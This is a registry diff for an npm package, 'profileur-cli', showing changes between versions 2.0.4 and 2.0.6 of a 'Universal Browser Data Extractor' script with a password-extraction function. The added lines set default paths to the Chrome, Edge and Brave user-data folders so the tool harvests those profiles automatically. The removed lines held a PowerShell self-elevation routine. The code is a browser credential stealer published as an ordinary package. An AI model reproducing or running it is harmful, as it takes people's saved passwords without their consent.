profileur-cli 2.0.4 → 2.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/extractor_cli.js +29 -33
- package/package.json +1 -1
package/extractor_cli.js
CHANGED
|
@@ -79,6 +79,26 @@ try {
|
|
|
79
79
|
process.exit(1);
|
|
80
80
|
}
|
|
81
81
|
|
|
82
|
+
// --- Default Browser Definitions (for CLI only) ---
|
|
83
|
+
const DEFAULT_BROWSERS = {
|
|
84
|
+
chrome: {
|
|
85
|
+
path: path.join(process.env.LOCALAPPDATA || '', 'Google', 'Chrome', 'User Data'),
|
|
86
|
+
name: 'Google Chrome'
|
|
87
|
+
},
|
|
88
|
+
'chrome-beta': {
|
|
89
|
+
path: path.join(process.env.LOCALAPPDATA || '', 'Google', 'Chrome Beta', 'User Data'),
|
|
90
|
+
name: 'Google Chrome Beta'
|
|
91
|
+
},
|
|
92
|
+
edge: {
|
|
93
|
+
path: path.join(process.env.LOCALAPPDATA || '', 'Microsoft', 'Edge', 'User Data'),
|
|
94
|
+
name: 'Microsoft Edge'
|
|
95
|
+
},
|
|
96
|
+
brave: {
|
|
97
|
+
path: path.join(process.env.LOCALAPPDATA || '', 'BraveSoftware', 'Brave-Browser', 'User Data'),
|
|
98
|
+
name: 'Brave Browser'
|
|
99
|
+
}
|
|
100
|
+
};
|
|
101
|
+
|
|
82
102
|
// --- Helper Functions ---
|
|
83
103
|
|
|
84
104
|
/**
|
|
@@ -348,45 +368,21 @@ function extractPasswords(profilePath, outputDir, key) {
|
|
|
348
368
|
*/
|
|
349
369
|
function main(options = {}) {
|
|
350
370
|
const outputBaseDir = options.outputDir || options.outputBaseDir || 'extracted_data';
|
|
351
|
-
|
|
371
|
+
let browsers = options.browsers || {};
|
|
352
372
|
|
|
353
373
|
if (!browsers || Object.keys(browsers).length === 0) {
|
|
354
|
-
|
|
355
|
-
|
|
374
|
+
// If called as a CLI (node extractor_cli.js or via bin), fall back to defaults
|
|
375
|
+
if (require.main === module) {
|
|
376
|
+
browsers = DEFAULT_BROWSERS;
|
|
377
|
+
} else {
|
|
378
|
+
error("No browsers configuration provided. Please pass options.browsers = { <key>: { path, name } }.");
|
|
379
|
+
return;
|
|
380
|
+
}
|
|
356
381
|
}
|
|
357
382
|
log("=== Universal Browser Data Extractor CLI (ABE) ===");
|
|
358
383
|
log("Version 1.0.0");
|
|
359
384
|
debug("Debug mode enabled.");
|
|
360
|
-
|
|
361
|
-
if (!isAdmin()) {
|
|
362
|
-
log("[-] Not running as Administrator. Attempting to elevate...");
|
|
363
|
-
try {
|
|
364
|
-
const scriptPath = __filename;
|
|
365
|
-
const nodePath = process.execPath;
|
|
366
|
-
|
|
367
|
-
// Check if we are in an executable (pkg or electron built)
|
|
368
|
-
const isPackaged = process.pkg || process.argv[0].endsWith('.exe');
|
|
369
|
-
|
|
370
|
-
let cmd;
|
|
371
|
-
if (isPackaged && !process.argv[0].includes('node.exe')) {
|
|
372
|
-
// If running as a standalone EXE (not node.exe), restart the EXE itself
|
|
373
|
-
cmd = `powershell -Command "Start-Process '${process.argv[0]}' -ArgumentList '${args.join(' ')}' -Verb RunAs"`;
|
|
374
|
-
} else {
|
|
375
|
-
// If running as node script
|
|
376
|
-
cmd = `powershell -Command "Start-Process '${nodePath}' -ArgumentList '${scriptPath} ${args.join(' ')}' -Verb RunAs"`;
|
|
377
|
-
}
|
|
378
|
-
|
|
379
|
-
debug(`Elevation command: ${cmd}`);
|
|
380
|
-
execSync(cmd);
|
|
381
|
-
log("[+] Elevated process started. Please check the new window.");
|
|
382
|
-
process.exit(0);
|
|
383
|
-
} catch (err) {
|
|
384
|
-
error("Failed to elevate privileges: " + err.message);
|
|
385
|
-
log("[!] Continuing without Admin rights (some files may be locked)...");
|
|
386
|
-
}
|
|
387
|
-
} else {
|
|
388
|
-
log("[+] Running as Administrator.");
|
|
389
|
-
}
|
|
385
|
+
log("[*] Admin elevation check has been disabled; continuing with current privileges (some files may be locked).");
|
|
390
386
|
|
|
391
387
|
for (const [key, config] of Object.entries(browsers)) {
|
|
392
388
|
if (!fs.existsSync(config.path)) {
|
package/package.json
CHANGED